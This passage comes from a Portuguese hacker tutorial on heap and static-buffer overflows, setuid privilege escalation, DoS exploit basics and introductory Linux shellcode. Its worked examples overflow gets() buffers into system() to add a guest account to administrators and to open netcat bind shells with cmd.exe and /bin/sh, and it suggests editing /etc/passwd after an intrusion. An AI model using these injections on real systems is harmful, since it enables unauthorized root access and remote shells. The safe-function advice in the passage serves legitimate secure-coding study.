"Nos" ao escrevermos o codigo do programa nao reservamos/mallocamos 24 bytes na memoria,
na verdade apenas malocamos na heap 10 bytes, o que acontece e' que esses 14 bytes
adicionais sao usados pela syscall (chamada de sistema) 'malloc' para permitir que a
memoria retorne ao uso geral quando a mesma for liberada ('free()'), esses bytes extras
variam de acordo com o ambiente. Agora vamos a exploracao.


C:\>call heap_overflow.exe

Endereco fisico de pointer_one: 4007104
Endereco fisico de pointer_two: 4007128

Endereco virtual de pointer_one: 0022FF74
Endereco virtual de pointer_two: 0022FF70

Me diga seu nome:
Meu nome e 6_Bl4ck9_f0x6net localgroup administradores convidado /add
Comando concluído com êxito.


C:\>net localgroup administradores
Nome de alias administradores
Comentário

Membros

-------------------------------------------------------------------------------
Administrador
Convidado
David
Comando concluído com êxito.


C:\>


O comando 'net localgroup administradores convidado /add' e' o comando que eleva os
privilegios da conta de convidado, nesse caso. 'net' (digite net /?' para ver um leque
de possibilidades que o windows dispoe) localgroup (parametro do utilitario 'net' que
visualiza e modifica informacoes sobre grupos) administradores (Grupo de 'admins')
convidado (nome da conta que pretendo inserir no grupo de admins) /add addiciona o
user convidado ao grupo de administradores.


Repare no seguinte:


Endereco fisico de pointer_one: 4007104
Endereco fisico de pointer_two: 4007128


O pointer2 comeca 24 bytes depois do primeiro, entao se digitarmos mais de 24 caracteres
(cada um equivalente a 1 byte) transbordaremos os enderecos na Heap.


Um exeplo mais explicativo:


Meu nome e 6_Bl4ck9_f0x6net...
0123456789ABCDEF01234567


Meu nome e 6_Bl4ck9_f0x6net...
123456789'123456789'1234
^________^^________^^__^
| | ||
10 bytes 10 bytes 4 bytes = 24. O 'n' estara' no endreco do comando.


Bem, ja que sabemos que a funcao system() executa o comando que esta' no endereco 4007128,
que esta' localizado ao lado do pointer_one, "ja que o mesmo foi declarado depois deste",
entao nos alcancamos o endereco de memoria deste sem misterio. Fuzzing 'TRADICIONAL' em
aplicacoes para descobertas de falhas de heap overflow ocorrem de maneira similar ao pro-
cesso de fuzzing em aplicacoes que se utilizam da stack, ou seja, se "debugarmos" uma
aplicacao que executa uma determinada acao no sistema se utilizando de system(), 'execl()'
ou alguma outra syscall similar que executa comandos 50 bytes (por exemplo) depois do
primeiro ponteiro declarado, basta corrompermos a memoria ate' encostarmos no endereco do
comando como usual.


Veja um exemplo:


-- heap_bug.c --

#include <stdio.h>
#include <stdlib.h>

main (){

char *pointer_1, *pointer_2, *pointer_3, *pointer_4, *pointer_5;

pointer_1 = (char *) malloc (10);
pointer_2 = (char *) malloc (10);
pointer_3 = (char *) malloc (10);
pointer_4 = (char *) malloc (10);
pointer_5 = (char *) malloc (10);

system ("cls & color a");
printf ("Endereco fisico de pointer_one: %d\n", pointer_1);
printf ("Endereco fisico de pointer_5 : %d\n", pointer_5);

puts ("");

sprintf (pointer_5, "echo Bem vindo a %s!", "Matrix");
puts ("\nMe diga seu nome:");
gets (pointer_1);


system (pointer_5);

}

-- cut here --


Endereco fisico de pointer_one: 4007104
Endereco fisico de pointer_5 : 4007200


Me diga seu nome:
Meu nome eh 6_Bl4ck9_f0x6 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
'!!!!!!!' não é reconhecido como um comando interno
ou externo, um programa operável ou um arquivo em lotes.

C:\Documents and Settings\David>


Voltaremos !!!!!!! (7) bytes. Volte 7 bytes e digite o comando. Pronto, o programa foi
explorado com sucesso. A comunidade de seguranca ja' divulgou diveras vulnerabilidades
em aplicacoes famosas como o sendmail que eram vulneraveis a esse tipo de falha.


Exploracao atraves de variaveis estaticas:

-- cut --

#include <stdio.h>
#include <stdlib.h>

main (){

static char name[20];
static char command[50];

system ("cls & color a");
printf ("Endereco fisico de name : %d\n", name);
printf ("Endereco fisico de command: %d\n", command);

puts (""); // To skip a line

sprintf (command, "echo Bem vindo a %s!", "Matrix");
puts ("\nMe diga seu nome:");
gets (name);

system (command);
}

-- cut this file here --


Endereco fisico de name : 4210704
Endereco fisico de command: 4210736

Me diga seu nome:
11111111111111111111111111111111nc -l -p 55 -vv -e cmd.exe
listening on [any] 55 ...
connect to [192.168.1.1] from VIOLATOR [192.168.1.1] 3022


Depois de um 'telnet IP PORTA':


Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>


Imagine insercoes de linhas no inetd nos Unixes com o comando 'echo'. Pois os privilegios
do programa tem muita probabilidade de ser de usuario root. Existem muitos sysops que se
utilizam do netcat como cliente para conexoes e inclusives distribuicoes Linux que dispo-
nibilizam o mesmo por default. Existem muitas formas de protecao, apenas uma sera'
descrita nesse documento. Observe que ao invez da utilizacao da funcao 'gets()' para a
obtencao e repasse de dados de usuarios para as variaveis, podemos utilizar a 'fgets()'
para tal, pois 'gets()' nao faz controle algum do numero de bytes a serem repassados para
a area de memoria reservada para a variavel.


Pequena tabela de funcoes perigosas e de funcoes que substituem as tais.


+-------------------+-------------------------------------------+
|Funcoes "perigosas"| Suposta solucao |
+-------------------+-------------------------------------------+
| sprintf() | snprintf(destino, numero_bts, origem); |
+-------------------+-------------------------------------------+
| gets() |char *fgets (char *str, int len, FILE *pt);|
+-------------------+-------------------------------------------+
| scanf() | Use especificadores de tamanho!! |
+-------------------+-------------------------------------------+
| strcpy() | strncpy() |
+-------------------+-------------------------------------------+
| strcat() | strncat() |
+-------------------+-------------------------------------------+


Todas as funcoes que copiam dados sao perigosas, e cabe a voce, se utilizar de
funcoes seguras para controle dos dados que serao copiados.


Observe:


-- cut --

#include <stdio.h>
#include <stdlib.h>

main (){

static char name[20];
static char command[50];

system ("cls & color a");
printf ("Endereco fisico de name : %d\n", name);
printf ("Endereco fisico de command: %d\n", command);

puts (""); // To skip a line

sprintf (command, "echo Bem vindo a %s!", "Matrix");
puts ("\nMe diga seu nome:");
fgets (name, 5, stdin); // <--- Note

system (command);

}

-- cut --


Me diga seu nome:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Bem vindo a Matrix!

C:\>


Ele vai copiar apenas 5 bytes para a variavel estatica 'name', impedindo a exploracao
deste programa.


6.0 - Entendendo o SetUID


O UID nada mais e', como o proprio nome ja da a entender (User IDentifier - IDentificador
de Usuario ou User IDentification - IDentificacao de usuario), um identificador de usua-
rios, todos os usuarios devidamente cadastratos em sistemas Unix/Linux possuem seu pro-
prio UID. O UID e' um numero frequentemente checado pelo Kernel (Nucleo do sistema) antes
de fazer determinadas operacoes. O UID '0' equivale a usuario root no Linux. Quando que-
remos adicionar um usuario no sistema por exemplo, o kernel verifica qual e' o 'UID' do
usuario que emitiu o comando adduser por exemplo (Comando p/ addicionar usarios ao siste-
ma), se ele checar o UID 0, ele deixar o usuario ser cadastrado nos arquivos /etc/passwd
e /etc/shadow (arquivos que gravam dados dos usuarios, como senhas e identificadores). Se
o UID do usuario emissor do comando adduser nao for '0', simplesmente temos um aviso de
permissao negada. Setuid e' bem simples de ser entendido, este e' o comando para marcar
arquivos com setuid:


chmod +s /caminho/do/programa


ls -l (long) fara' uma listagem completa do arquivo, voce vera' o 's' nas permissoes do
file (identificador de aplicacao setada com bit de super usuario).


6_Bl4ck9_f0x6@Vipera:~/Desktop$ sudo chmod u+s vulnerable
6_Bl4ck9_f0x6@Vipera:~/Desktop$ ls -l vulnerable
-rwsr-xr-x 1 root fox7 7558 2005-01-01 07:03 vulnerable


O dono do programa acima (vulnerable) e' o usuario root, para marcar o bit suid sobre
esse elf me utilizei do comando sudo, que possibilita a execucao de comandos como
super usuario, pois apenas usuario com 'UID 0' podem emitir o comando chmod com o
parametro +s (Que marca o bit suid). O que fiz acima foi setar o elf vulnerable para
"executar comandos como usuario root" sem precisar estar logado com tal usuario.
Observe o atributo 's' que representa o setuid, nesse caso o programa estara' com
permissoes de root. Se o programa adduser estivesse marcado com bitsuid ( seu dono
for root) voce podera' adicionar usuarios ao sistema como root. Para ver o UID de
usuarios digite o comando 'id' seguido do nome de usuario ou apenas 'id' para ver o
UID do usario corrente.


Exemplo:


6_Bl4ck9_f0x6@Black_Machine:-$ id
uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox)


Acima estou logado como usuario Black_Fox, meu UID e' 1002, nao posso adicionar
usuarios ao sistema, porque meu UID nao e' zero. Digite 'su' (comando usado
para mudar o usuario atualmente logado) na shell (interpretador de comandos),
ele vai pedir senha, a digite e tecle [Enter], voce estara' como root e podera'
marcar bit suid em qualquer elf. Se quiser se logar com qualquer outra conta
basta digitar 'su outra_conta', se digitar apenas 'su', o Linux vai inferir que
voce quer se logar como root.


chmod +s /bin/adduser


Isso acima faz com que o 'EUID' do adduser seja setado como 0, que e' o UID do
user que emitiu o comando, que tambem e' dono da aplicacao (root).



-- Nota ---------------------------------------------------------------------

Na verdade nao vamos setar o "UID" do usuario corrente, pois programas que
trabalham com setuid continuam sendo executados com o 'UID' de seu usuario/
executor. O que acontece e' que quando executamos um programa marcado com
setuid, o Linux verificara' um atributo chamado 'EUID' - Efective User
IDentification, ou simplesmente identificador "DE EXECUCAO", que vai estar
setado com o UID de um usuario qualquer, '0' nesse caso. E' a IDentificacao
efetiva de usuario, que setaremos. Quando executamos arquivos, o kernel
verifica o UID do user, nao permitindo a execucao do elf caso a acao neces-
site de UID 0. Entao a verificacao do EUID - ID de execucao, do arquivo, que
sera' checada. Ainda existe o EGID que funciona de forma similar ao EUID, o
que difere e' que EGID e' a identificacao de execucao de grupo.

sh-3.1# id
uid=0(root) gid=1008(fox7) egid=0(root) grupos=1008(fox7)

-----------------------------------------------------------------------------


Para executar comandos com permissoes de root sem precisar ficar logado na conta,
basta digitar o parametro '-c' do 'su', este parametro executa um comando com
permissoes de um user e depois retorna ao user que chamou o comando.


Exemplo:


sh-3.1$ su root -c "comando"
Password:

Para fazer logout de uma conta acessada com o su basta que digite o comando exit para
voltar ao usuario anterior. Todos os hackers visam arquivos com setuid root, sendo
quase que obrigatorio uma busca com o find pelos mesmos no sistema apos uma invasao.
Os perigos que cercam aplicacoes com bitsuid sao bastante relevantes, tome como
exemplo uma 'app' vulneravel a Heap Overflow, ela tem o ID de execucao (EUID) igual a
'0', isso significa que podemos usar este programa para executar nossos comandos no
sistema com os privilegios de usuario root, explorando o mesmo. Procedimento esse
demonstrado anteriormente.



6.1 - .Movie


Temos acesso a uma conta nao privilegiada no sistema, de alguma forma estamos no
sistema. No Linux portas abaixo de 1024 apenas podem ser aberta por admins/root,
mas encontramos no sistema uma aplicacao com setuid root, ou seja, roda com o bit
'suid'. Esta aplicacao tem um bug de Heap Overflow.

Abrindo portas abaixo de 1024 com o netcat:


We have control on unprivileged account in the system, in Unix systems ports below
1024 only can be opened by root users (UID 0), but we found a application marked as
root by the sysadmin and this application has a bug, heap overflow.

Opening ports below 1024 with netcat:


sh-3.1$ pwd
/home/Black_Fox
sh-3.1$ bash
Black_Fox@Black_Machine:-$ id
uid=1002(Black Fox) gid=1002(Black Fox) grupos=1002(Black Fox)
Black_Fox@Black_Machine:-$ gcc -o overrun Buffer_Overrun.c
/tmp/ccC9ImLu.o: In function `main':
Buffer_Overrun.c:(.text+0x9b): warning: the `gets' function is dangerous and should not be
used.
Black_Fox@Black_Machine:-$ ls -la overrun
-rwxr-xr-x 1 Black_Fox Black_Fox 7811 2008-10-30 11:49 overrun
Black_Fox@Black_Machine:-$ su -c "chown root overrun; chmod +s overrun"
Password:
Black_Fox@Black_Machine:-$ ls -la overrun
-rwsr-sr-x 1 root Black_Fox 7811 2008-10-30 11:49 overrun
Black_Fox@Black_Machine:-$ nc -l -p 22 -vv -e /bin/sh
Can't grab 0.0.0.0:22 with bind : Permission denied
Black_Fox@Black_Machine:-$ ./overrun
Endereco de memoria do seu nick: 134520840
Endereco da msg de boas vindas : 134520856
Insira seu nick:6_Bl4ck9_f0x6
Bem vindo a Matrix
Black_Fox@Black_Machine:-$ ./overrun
Endereco de memoria do seu nick: 134520840
Endereco da msg de boas vindas : 134520856
Insira seu nick:6_Bl4ck9_f0x6 ->nc -l -p 22 -vv -e /bin/sh
listening on [any] 22 ...

[+1]+ Stopped ./overrun
Black_Fox@Black_Machine:-$ echo Obrigado
Obrigado
Black_Fox@Black_Machine:-$ fg 1
./overrun


********************************************************
[img] http://www.hunterhacker.xpg.com.br/heap.png [/img]
********************************************************


Voce podera' fazer diversas acoes maliciosas nos sistemas invadidos atraves de uma
aplicacao bugada, como inserir linhas no /etc/passwd ou fazer pequenas modificacoes
no mesmo, como alteracao de UIDs de usario ( setando-o(s) para '0' por exemplo).
Dependera' de seu nivel de conhecimento em Unixes em geral pois esse texto apenas
demonstra como ocorre e como explorar tal falha de seguranca. No proximo texto
demonstrarei tecnicas para descobertas de aplicacoes vulneraveis, que se utilizam
de execl(), system() e syscalls do genero.




7.0 - Desenvolvendo exploits de Denial of Service


Quando uma aplicacao retorna para um endereco de memoria invalido (stack overflow) ocorre
o fechamento da aplicacao. O que sera' descrito abaixo e' apenas um simples guia para o
desenvolvimento de ferramentas capazes de fechar servidores remotos, sem a minima pretencao
de exploracao para obtencao de shell ou bind de portas para um posterior acesso. Toda a ba-
se desses exploits (ou uma grande parte deles) escritos em C, e' a mesma. O memset(); - set
memory - setar memoria.


Prototipo:


memset (string_destino, 'caractere', numero_de_bytes_a_setar);


Isso equivale a setar a memoria no endereco da string de destino. A base dos exploits de
D.o.S (Como de overflow em geral) e' enviar um buffer muito grande, "normalmente" (quando
se trata de servidores de FTP) devemos mandar ('send()') o comando que nao gerencia dados
de forma adequada pela aplicacao servidora, ou seja, na aplicacao remota existe um buffer
que nao possui um limite de dados para alocacao na memoria, o que precisamos fazer e'
mandar dados de forma a lotar a area de memoria remota responsavel pela construcao do stack
frame de alguma funcao, com a pretencao de alcancarmos o endereco de retorno e faze-lo
retornar para uma regiao de memoria "invalida". Brevemente estarei lhes mostrando como
achar enderecos estaticos nas APIs para "exploracao" remota. Por hora o intuito e' der-
rubar o servidor, depois da emissao de muitos dados. Bem, como ja mencionado precisaremos
enviar um buffer suficientemente grande logo apos um comando ('por exemplo') interpretado
pelo servidor, assim fazendo um dado numero de bytes iniciais fazerem com que aja chamadas
para funcoes internas no programa, assim fazendo o mesmo entrar em crash (fechar), devido
ao nao controle do fluxo de dados para seus respectivos stack frames na memoria.


-- cut --

#include <stdio.h>
#include <string.h>

int caracters;

main (){

char setp[50]="The final result: ";

caracters=strlen (setp); // <-- Atribui o numero de bytes da variavel
memset (setp +caracters, 'S', 0x10); // 10 (hexadecinal) equivale a 16 em decimal

puts (setp); // Imprime o buffer na tela
system ("pause");
}

-- cut --

Result:

The final result: SSSSSSSSSSSSSSSS
Pressione qualquer tecla para continuar. . .


Nesse exemplo tenho um buffer local que suporta 50 bytes, poderia enviar o comando seguido
do buffer cheio de S's, mas para isso teria que usar a funcao memset e determinar o numero
de bytes logo apos o comando, caso contrario o 'memset()' sobrescrevereria o comando, veja
este trecho:


caracters=strlen (setp);


Note que pego o numero de bytes da variavel setp.


memset (setp +caracters, 'S', 0x10);


Comeco a setar a memoria a partir do numero de bytes definido na variavel caracteres.
Utilizo no primeiro parametro da funcao o '+caracteres', ou seja, o exploit escrevera'
no buffer de destino 'a partir' do numero de letras da variavel. Espacos em branco entre
uma palavra e outra na mesma string equivalem a caracteres. Veja:

char exemplo[]="ABOR ";

Veja que existe um espaco depois da letra 'R'. Existe uma versao do Sami FTP vulneravel
a este comando seguido de muitos bytes (Stack Overflow), como tantos outros servidores.


8.0 - Useful links and reference


============================================================
Tutorial Basico do gcc e entendendo as etapas de compilacao

Link: http://www.hunterhacker.xpg.com.br/gcc_tuto_2.txt
------------------------------------------------------------
Buffer Overflow by Andre Amorim

Parte1:

Link: http://www.hunterhacker.xpg.com.br/Pen1.rar
Senha: myloveluz

Parte2:

Link: http://www.hunterhacker.xpg.com.br/Pen2.rar
Senha: myloveluz

Acesse: www.metasploit-br.org
============================================================


Um cordial abraco.


[]`s

by

6_Bl4ck9_f0x6 - Viper Corp Group



----- C4p1Tul0 11


[+ ======X============X===============X===== +]
Introduction to shellcoding for linux
[+ ======X============X===============X===== +]


Alow, toh treinando meu ingles de butquim...

Texto escrito originalmente para o 'clube do hacker' elite underground hardcore potente
da internet rlz da vida e tals, a pedido do underground mais underground haxor 3l1t3
entendedor de redes dos fake pagers do world of the lames hat que eu ja vi na vida.


-----> http://www.clubedohacker.com.br/forum/


Olah amigos, estou aqui para lhes dar uma breve introducao ao desenvolvimento de shellcodes,
a pedido de nosso amigo "zeh Longas" (The fake page man). Espero que isso possa ser tao util
quanto criar paginas falsas e distribuir em forums de "segurança" da informacao(?), tecnolo-
gias em geral(?), etc. Bem, sem saber isso voce nao vai conseguir explorar alguma falha de
stack overflow, a.k.a: Buffer overflow. Nem explorar nenhum tipo de falha que necessite da
utilizacao de linguagem de maquina, ou seja: Se voce nao sabe fazer shellcode, voce nao sabe
fazer exploit, e se voce nao sabe fazer exploit, voce nao eh feliz =) Vale lembrar que este
texto eh o basico do basico, aqui voce nao vai aprender sobre syscalls como execve, setuid e
essas paradinhas. Escrevi este texto apenas p/ vc ter uma melhor nocao do que eh shellcode.
Agora trabalharemos com linguagem de maquina purissima, a.k.a: Shellcode. Voces verao q nao
eh tao dificil assim desenvolver shellcodes (Soh basta um pouco d inteligencia). Basicamente
devemos conhecer os parametros da syscall a ser utilizada. Vou tomar como exemplo a syscall
"write" (Nao tenho a man page do write, por isso "citarei" a man page desta syscall de outro
.txt writed by IP_FIX - White Hat corja):


For see syscall table: /usr/include/asm/unistd.h

/*
* This file contains the system call numbers.
*
* Note: holes are not allowed.
*/



Repito, nao tenho essa man page inutil:

Black_Fox@Black_Machine:~$ man 2 write
Nenhuma entrada de manual para write na seção 2


Citar:

root@motdlabs:~/IP_FIX/shellcode# man 2 write
ssize_t write(int fd, const void *buf, size_t count);


Como voce pode ver acima o white hat tem a manual page. Enfim, o fd representa o stream
STDOUT, se voce for um programador voce provavelmente saberah do que se trata. O segundo
parametro eh a string a ser impressa na tela e o ultimo (size_t count) eh o tamanho da
string, ou seja, eh aqui que definimos quantos bytes da string serao impressos na shell.
Vamos ver como eh isso em C:


-- write.c --

/*
*
* "baka" code, coded by 6_Bl4ck9_f0x6 (O gostosao do forró)
*
* Thank'x for all guys from BlackHat-Forums
*
* ---[ http://wWw.blackhat-forums.com ]---
*
*/



#include <unistd.h> /* Unix Standard */
#include <string.h> /* strlen() */


int main (){

char *str="Elite Underground Teem\n";
write (0x01, str, strlen (str));

return 0;

}

-- cut here --



Black_Fox@Black_Machine:~$ mcedit write.c

Black_Fox@Black_Machine:~$ gcc write.c -o write -Wall
Black_Fox@Black_Machine:~$ ./write
Elite underground teem
Black_Fox@Black_Machine:~$


Bem, como voce pode ver essa syscall eh bem simples. Acho que voces ja conhecem
a exit, neh? Entao, acho que nem preciso falar da exit. Basicamente eh assim, os
registradores de uso geral que serao utilizados para armazenar os parametros da
syscall. A ordem eh a seguinte:


+-----------------------+
|%eax, %ebx, %ecx, %edx |
+-----------------------+


Se por algum acaso a syscall possuir mais q 4 parametros, os coloque nos seguintes
registradores:

+-----------+
|%esi e %edi|
+-----------+

In this order (Nesta ordem) =] Agora vamos fazer outra citacao ao texto do white hat:


Repare no %esX ------------------------------------------------------------------+
|
V

_____________________________________________________________________________________________
|%eax| Name | Source | %ebx | %ecx | %edx | %esx | %edi |
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
| 1 | sys_exit | kernel/exit.c | int | | | | |
| 4 | sys_write | arch/i386/kernel/process.c | unsigned int | char * | size_t | | |
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

OBS: Veja que o white hat ateh colocou o path do source


Como voce pode ver o numero da syscall exit eh 1, e da syscall write eh o 4, ambos devem
ficar em %eax (na sintaxe 'AT&T' devemos utilizar a notacao '%' para nos referirmos aos
registradores) e seus parametros nos outros ja citados registradores, o retorno da syscall
eh armazenado em %eax. Entao vamos ver como fazemos isso em assembly antes de pegarmos os
"opcodes".


-- cut --

#include <stdio.h>
#include <string.h>
#include <unistd.h>

main (){

__asm__ (

/* Syscall write */

"MOV $0x04, %eax \n" // <-- This is the number of syscall write
"MOV $0X01, %ebx \n" // <-- As you can see, here is STDOUT (Standard output) representation
"PUSH $0x0a \n" // <-- Em hexadecimal o \x0a corresponde ao LF (\n) -> send to stack
"PUSH $0x41414142 \n" // <-- Empurramos 4 bytes (hardware de 32 bits) para o topo da stack [string]
"MOV %esp, %ecx \n" // <-- Movemos a string apontada por stack pointer p/ o count register
"MOV $0x06, %edx \n" // <-- Move the size of the string for to data register (+ bit de paridade)
"int $0x80 \n" // <-- Interrupcao que executa syscalls [use a notacao '$' em AT&T]

/* Syscall exit */

"MOV $0x01, %eax \n" // <-- Syscall number
"MOV $0x0, %ebx \n" // <-- status de saída
"int $0x80 \n" // <-- Interrupcao para execucao de dados.
);


puts ("KimeraSux\n The Nash are completely died\n");

}


-- cut --


Voce entendeu neh? Bem, se voce nao for um macaco burro deve ter entendido, mas se
nao entendeu eu te jogo uns amendoins depois. Vamos compilar isso ae em cima e ver
no que isso vai dar. Ei ei ei, vale lhes lembrar q: Devemos lembrar de sair (exit)
no final de nossos comandos em shellcode, caso contrario -> Vai dar pau.


Black_Fox@Black_Machine:~$ gcc -Wall w_assembly.c
w_assembly.c:5: warning: return type defaults to 'int'
w_assembly.c: In function 'main':
w_assembly.c:29: warning: control reaches end of non-void function
Black_Fox@Black_Machine:~$ ./a.out
BAAA
Black_Fox@Black_Machine:~$


Repare que os dados devem ser postos no stack de tras pra frente. Se voce quiser que
sua string faca sentido.


"PUSH $0x41414142 \n"


Em hexadecimal o 'B' eh representado por '\x42'. Ele que foi o primeiro a ser impresso.
Agora vamos pegar os opcodes, q sao os codigos de maquina propriamente dito. Utilizarei
o objdump (por hora) ao inves do gdb para obter os mesmos.


Black_Fox@Black_Machine:~$ whereis objdump
objdump: /usr/bin/objdump /usr/X11R6/bin/objdump /usr/bin/X11/objdump /usr/share/man/man1/objdump.1.gz
Black_Fox@Black_Machine:~$


Utilizarei a opcao -d

Black_Fox@Black_Machine:~$ objdump --help | more

-d, --disassemble Display assembler contents of executable sections


Black_Fox@Black_Machine:~$ objdump -d a.out

a.out: file format elf32-i386

Disassembly of section .init:

....................

08048354 <main>:
8048354: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048358: 83 e4 f0 and $0xfffffff0,%esp
804835b: ff 71 fc pushl 0xfffffffc(%ecx)
804835e: 55 push %ebp
804835f: 89 e5 mov %esp,%ebp
8048361: 51 push %ecx
8048362: 83 ec 04 sub $0x4,%esp

8048365: b8 04 00 00 00 mov $0x4,%eax
804836a: bb 01 00 00 00 mov $0x1,%ebx
804836f: 6a 0a push $0xa
8048371: 68 42 41 41 41 push $0x41414142
8048376: 89 e1 mov %esp,%ecx
8048378: ba 06 00 00 00 mov $0x6,%edx
804837d: cd 80 int $0x80
804837f: b8 01 00 00 00 mov $0x1,%eax
8048384: bb 00 00 00 00 mov $0x0,%ebx
8048389: cd 80 int $0x80



Como voce pode ver esta eh a funcao principal "disassemblada". Vamos pegar os codigos que
nos fizemos em assembly. Os dados que escrevemos vao do endereco de memoria 0x'8048365'
ateh 0x'8048389'. Como voce deve ter reparado quando nos disassemblamos um programa
podemos ver seus codigos em assembly, e ja que escrevemos os codigos em assembly veremos
nosso codigo em estado puro. O objdump divide os dados em 3 partes, ambos serao descritos
abaixo, veja:


+------------------------------------------------------------+
| Address | Hexdump (opcode) | Instruction |
+------------------------------------------------------------+
| 8048354: | 8d 4c 24 04 |lea 0x4(%esp),%ecx |
+------------------------------------------------------------+


Vamos pegar os opcodes dessas syscalls e fazer nosso shellcode.


-- cut --

#include <stdio.h>
#include <string.h>
#include <unistd.h>


char global_shellcode[] =

"\xb8\x04\x00\x00\x00\xbb\x\01\x00\x00\x00"
"\x6a\x0a\x68\x42\x41\x41\x41\x89\xe1\xba"
"\x06\x00\x00\x00\xcd\x80\xb8\x01\x00\x00"
"\x00\xcd\x80";


main(){

void (*executa)()=(void *)global_shellcode;
executa();

}

-- cut --


The result is:


Black_Fox@Black_Machine:~$ gcc shellcode_1.c -o shellcode -Wall
shellcode_1.c:15: warning: return type defaults to 'int'
shellcode_1.c: In function 'main':
shellcode_1.c:20: warning: control reaches end of non-void function
Black_Fox@Black_Machine:~$ ./a.out
BAAA
Black_Fox@Black_Machine:~$

Veja:


*******************************************************************
= [img] http://www.hunterhacker.xpg.com.br/shellcodeX.jpg [/img] =
*******************************************************************


Esse shellcode serve apenas para demontracao, mas quando nos quisermos usar o mesmo p/ a
exploracao de alguma falha, nao daria muito certo porque existem muitos NULL bytes (\x00)
que marcam a final de uma string. Uma solucao para isso seria usar a instrucao 'XOR' eh
usarmos apenas as partes baixas dos registradores. Basicamenteo um registrador de 32 bits
(%'e'ax) possui uma parte alta de 16 bits e uma parte baixa tambem de 16 bits. Essa seria
a representacao ideal amigos:


%eax = 0000 0000

0000 <-- High side <--> 0000 <-- Low side


Entao precisariamos apenas usar a parte baixa dos mesmos. Eu fiz um brincadeira no 'ISTF'
e muitas pessoas interpretaram mau:

-----> http://www.istf.com.br/

Nesse post acima brinquei com esse esquema de "high" e "low". Na verdade na sintaxe AT&T a
instrucao MOVL movimenta um "long". Podemos definir quantidades de dados a serem manipulados
de varias formas, tais como MOVB (Move Byte [ 8 bits ]), MOVW (Move Word [move 16 bits]) e
tals. Para "maiores informacoes" consulte o link [1] no final deste texto. Para eliminarmos
os NULL bytes eh muito facil. Abaixo segue uma das formas.


-- cut --

#include <stdio.h>
#include <string.h>
#include <unistd.h>

main (){

__asm__ (


"XOR %eax, %eax \n" // <-- Repare aqui. Se quiser use o xorl <-- Repare no 'l' (\x40)
"MOV $0x04, %al \n" // <-- Retiramos o 'e' de %eax e inserimos o 'l' - Low side
"XOR %ebx, %ebx \n" // <-- %ebx = 0000 0000
"MOV $0x01, %bl \n" // <-- low side of the %ebx
"PUSH $0x0a \n" // <-- LF (\n) -> send to stack
"PUSH $0x41414142 \n" // <-- string
"MOV %esp, %ecx \n" // <-- Ja q a string eh muito grande movemos a tring p/ %'e'cx (all)
"MOV $0x06, %dl \n" // <-- Length of the string
"int $0x80 \n" // <-- Call
"XoR %eax, %eax \n" // <-- 00000000
"inc %eax \n" // <-- Incrementamos o %eax; %eax = 0000 0001. Se quiser use o 'incl'
"XOR %ebx, %ebx \n" // <-- Zeramos o register %ebx
"int $0x80 \n" // <-- Interrupcao para execucao de dados.
);


puts ("KimeraSux\n The Nash are completely died\n");

}

-- cut --


Repare que primeiramente zero o registrador %eax - Isso se faz "necessario", pois vamos
manipular apenas a parte baixa do mesmo na instrucao seguinte. Vale lembrar que quando
estamos escrevendo codigos em assembly nao precisaremos nos preocupar (nesse caso) com
o formato das instrucoes, pois as mesmas nao sao case sensitives e tambem perceba q nao
utilizo instrucoes do tipo


"MOV $0x0, %ebx \n" // <-- Que movimenta null bytes diretamente


Veja o hexdump agora


8048365: 31 c0 xor %eax,%eax
8048367: b0 04 mov $0x4,%al
8048369: 31 db xor %ebx,%ebx
804836b: b3 01 mov $0x1,%bl
804836d: 6a 0a push $0xa
804836f: 68 42 41 41 41 push $0x41414142
8048374: 89 e1 mov %esp,%ecx
8048376: b2 06 mov $0x6,%dl
8048378: cd 80 int $0x80
804837a: 31 c0 xor %eax,%eax
804837c: 40 inc %eax
804837d: 31 db xor %ebx,%ebx
804837f: cd 80 int $0x80


Estamos livres de nullbytes. Vamos compilar e pegar os opcodes com o gdb agora.


Black_Fox@Black_Machine:~$ gcc ex.c -Wall -o shellcode
ex.c:5: warning: return type defaults to 'int'
ex.c: In function 'main':
ex.c:28: warning: control reaches end of non-void function
Black_Fox@Black_Machine:~$ ./shellcode
BAAA
Black_Fox@Black_Machine:~$


Esses warnings aparecem porque nao especifiquei o tipo da funcao principal (int) e
nem especifiquei um retorno para a funcao. Vale lhe lembrar que '1' representa um
status de saida problematico do programa (EXIT_FAILURE) enquanto o '0' representa o
sucesso (EXIT_SUCCESS).


-- stdlib.h --

/*
* These values may be used as exit status codes.
*/


#define EXIT_SUCCESS 0
#define EXIT_FAILURE 1

-- cut --


Na linguagem binaria 1 e 0 representam verdadeiro e falso respectivamente. Bem,
primeiramente vamos disassemblar o code.


kimera@kurumin:~$ cd Desktop/
Black_Fox@Black_Machine:~$ gdb shellcode
GNU gdb 6.7.1
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x08048354 <main+0>: lea 0x4(%esp),%ecx
0x08048358 <main+4>: and $0xfffffff0,%esp
0x0804835b <main+7>: pushl -0x4(%ecx)
0x0804835e <main+10>: push %ebp
0x0804835f <main+11>: mov %esp,%ebp
0x08048361 <main+13>: push %ecx
0x08048362 <main+14>: sub $0x4,%esp
0x08048365 <main+17>: xor %eax,%eax
0x08048367 <main+19>: mov $0x4,%al
0x08048369 <main+21>: xor %ebx,%ebx
0x0804836b <main+23>: mov $0x1,%bl
0x0804836d <main+25>: push $0xa
0x0804836f <main+27>: push $0x41414142
0x08048374 <main+32>: mov %esp,%ecx
0x08048376 <main+34>: mov $0x6,%dl
0x08048378 <main+36>: int $0x80
0x0804837a <main+38>: xor %eax,%eax
0x0804837c <main+40>: inc %eax
